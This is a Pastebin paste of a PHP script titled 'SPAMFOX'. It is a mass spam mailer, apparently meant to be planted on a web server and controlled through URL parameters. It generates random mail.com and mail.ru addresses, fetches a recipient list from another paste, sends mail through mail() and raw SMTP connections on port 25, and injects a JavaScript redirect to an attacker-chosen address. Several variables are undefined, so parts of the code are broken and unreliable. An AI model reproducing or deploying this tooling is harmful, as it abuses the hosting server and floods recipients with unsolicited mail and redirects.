Advertisement
Guest User

Untitled

a guest
May 4th, 2017
590
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.92 KB | None | 0 0
  1. <?php
  2. echo '<body background="https://temporarytattoos.com/pub/media/catalog/product/cache/image/700x560/e9c3970ab036de70892d86c6d221abfe/h/i/hipster-fox-temporary-tattoo-6222.jpg"></body>';
  3. print '<!DOCTYPE html>
  4. <html><head><title></title></head><body><center><h1>SPAMFOX</h1></center>
  5. <hr align="center" width="1350" size="2" color="#A9A9A9" /><br></body></html>';
  6. $from = $_SERVER['HTTP_HOST'].'@mail.com';
  7. function generatemail($length = 19){
  8. $email = 'abdefhiknrstyzABDEFGHKNQRSTYZ234567892001ISDNDLFJLSDOJFPAKASQGM';
  9. $numChars = strlen($email);
  10. $string = '';
  11. for ($i = 0; $i < $length; $i++) {
  12. $string .= substr($email, rand(1, $numChars) - 1, 1);
  13. }
  14. $string = $string.'@mail.com';
  15. echo $string;
  16. $message = $_GET['mess'];
  17. $headers = $_GET['head'];
  18. $subject = $_GET['subj'];
  19. if (mail($string,$subject,$message,$headers,'-f'.$from)) {echo "Yes!!!<br/>";}
  20. $string = $string.'@mail.ru';
  21. if (mail($string,$subject,$message,$headers,'-f'.$from)) {echo "<br/>";}
  22. else {
  23. $connect = fsockopen($server, 25, $errno, $errstr, 30);
  24. fputs($connect, "Hi\r\n");
  25. fputs($connect, "MAIL FROM: $from\n");
  26. fputs($connect, "RCPT TO: $to\n");
  27. fputs($connect, "DATA\r\n");
  28. fputs($connect, "Content-Type: text/plain; charset=iso-8859-1\n");
  29. fputs($connect, "To: $to\n");
  30. fputs($connect, "Subject: $subject\n");
  31. fputs($connect, "\n\n");
  32. fputs($connect, stripslashes($message)." \r\n");
  33. fputs($connect, ".\r\n");
  34. fputs($connect, "RSET\r\n");
  35. }
  36. }
  37.  
  38. function spam(){
  39.  
  40. $message = $_GET['mess'];
  41. $headers = $_GET['head'];
  42. $subject = $_GET['subj'];
  43.  
  44. $text = file_get_contents('http://pastebin.com/raw/djxaViTq');
  45. $f = fopen('w.txt', 'w');
  46. fwrite($f, $text);
  47. fclose($f);
  48. $text = fopen("w.txt", "r");
  49. $array = null;
  50. if ($text) {
  51. while (($buffer = fgets($text)) !== false) {
  52. $array[] = $buffer;
  53. }
  54. }
  55. fclose($text);
  56. foreach ($array as $key) {
  57. echo $key;
  58. mail($string,$subject,$message,$headers,'-f'.$from);
  59. }
  60. $server = $_GET['server'];
  61. $message = $_GET['mess'];
  62. $connect = fsockopen($server, 25, $errno, $errstr, 30);
  63. fputs($connect, "Hi\r\n");
  64. fputs($connect, "MAIL FROM: $from\n");
  65. fputs($connect, "RCPT TO: $to\n");
  66. fputs($connect, "DATA\r\n");
  67. fputs($connect, "Content-Type: text/plain; charset=iso-8859-1\n");
  68. fputs($connect, "To: $to\n");
  69. fputs($connect, "Subject: $subject\n");
  70. fputs($connect, "\n\n");
  71. fputs($connect, stripslashes($message)." \r\n");
  72. fputs($connect, ".\r\n");
  73. fputs($connect, "RSET\r\n");
  74. }
  75.  
  76. function script(){
  77. print '<script type="text/javascript">
  78. function locs(){
  79. document.location.href="'.$_GET['address'].'";
  80. }
  81. setTimeout("locs()", 10);
  82. </script>';
  83. }
  84. $timei = time();
  85. $time = $_GET['time'];
  86. while (time() - $timei < $time) {
  87. echo generatemail(9);
  88. spam();
  89. script();
  90. }
  91. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement